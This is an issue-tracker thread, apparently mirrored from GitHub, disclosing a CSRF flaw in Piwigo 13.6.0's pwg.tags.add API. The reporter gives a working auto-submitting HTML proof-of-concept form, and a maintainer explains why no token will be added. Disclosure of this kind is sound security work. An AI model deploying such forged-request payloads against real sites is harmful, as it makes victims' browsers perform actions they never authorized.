There is a CSRF vulnerability in the "add tags" function of piwigo #1665

Closed
opened 2026-10-05 00:52:13 +02:00 by adam · 3 comments
Owner

This vulnerability lies in the 'add tags' function in the backend.
image

Try creating a new label here.
image

Use burpsuite to intercept this request.
image

You can see that CSRF-Token does not exist here,So we can generate a CSRF POC.
image

Execute this poc,note that there are no tags here at this time
image
image

After executing the POC, it was found that there were new tags added
image
image
//CSRF POC:
`<html>

<script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </html> `

Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation

This vulnerability lies in the 'add tags' function in the backend. ![image](https://user-images.githubusercontent.com/27283436/235408051-ac0c44e8-32e0-4912-a260-83f0b8891db2.png) Try creating a new label here. ![image](https://user-images.githubusercontent.com/27283436/235408127-ba083289-7885-4be2-8ce4-942db7401af2.png) Use burpsuite to intercept this request. ![image](https://user-images.githubusercontent.com/27283436/235408173-fba8ba87-c076-44ff-8d9d-f676b012bc1a.png) You can see that CSRF-Token does not exist here,So we can generate a CSRF POC. ![image](https://user-images.githubusercontent.com/27283436/235408363-e77366d5-a4a7-4f7c-8171-f6a647328a34.png) Execute this poc,note that there are no tags here at this time ![image](https://user-images.githubusercontent.com/27283436/235408598-989972f6-1af3-4c2f-a910-3ce86b9dda7e.png) ![image](https://user-images.githubusercontent.com/27283436/235408639-8b68b254-ab51-4a28-b1bf-ac3849c3ba89.png) After executing the POC, it was found that there were new tags added ![image](https://user-images.githubusercontent.com/27283436/235408695-1388a381-607f-4234-a33c-87df2daabe70.png) ![image](https://user-images.githubusercontent.com/27283436/235408722-176217b6-0685-4378-bfcf-816576092fe8.png) //CSRF POC: `<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost/piwigo/ws.php?format=json&method=pwg.tags.add" method="POST"> <input type="hidden" name="name" value="test" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ` Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation <!-- github-sync-id:1690372075 -->
adam closed this issue 2026-10-05 00:52:13 +02:00
Author
Owner

The poc I provided seems to have been filtered by Github, but the picture I provided already contains this poc

The poc I provided seems to have been filtered by Github, but the picture I provided already contains this poc <!-- github-comment-id:1529348904 -->
Author
Owner

Oh, I forgot, the affected version is the latest 13.6.0

Oh, I forgot, the affected version is the latest 13.6.0 <!-- github-comment-id:1529361859 -->
Author
Owner

You're right, there is no pwg_token parameter on the pwg.tags.add API method. We don't plan to have one. Adding a tag is not much of a problem and I don't want to break the 3rd party apps using this method.

We already have this parameter (preventing from CSRF attacks) on pwg.tags.delete or pwg.tags.merge.

You're right, there is no `pwg_token` parameter on the `pwg.tags.add` API method. We don't plan to have one. Adding a tag is not much of a problem and I don't want to break the 3rd party apps using this method. We already have this parameter (preventing from CSRF attacks) on `pwg.tags.delete` or `pwg.tags.merge`. <!-- github-comment-id:1535889768 -->
Sign in to join this conversation.
No labels
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1665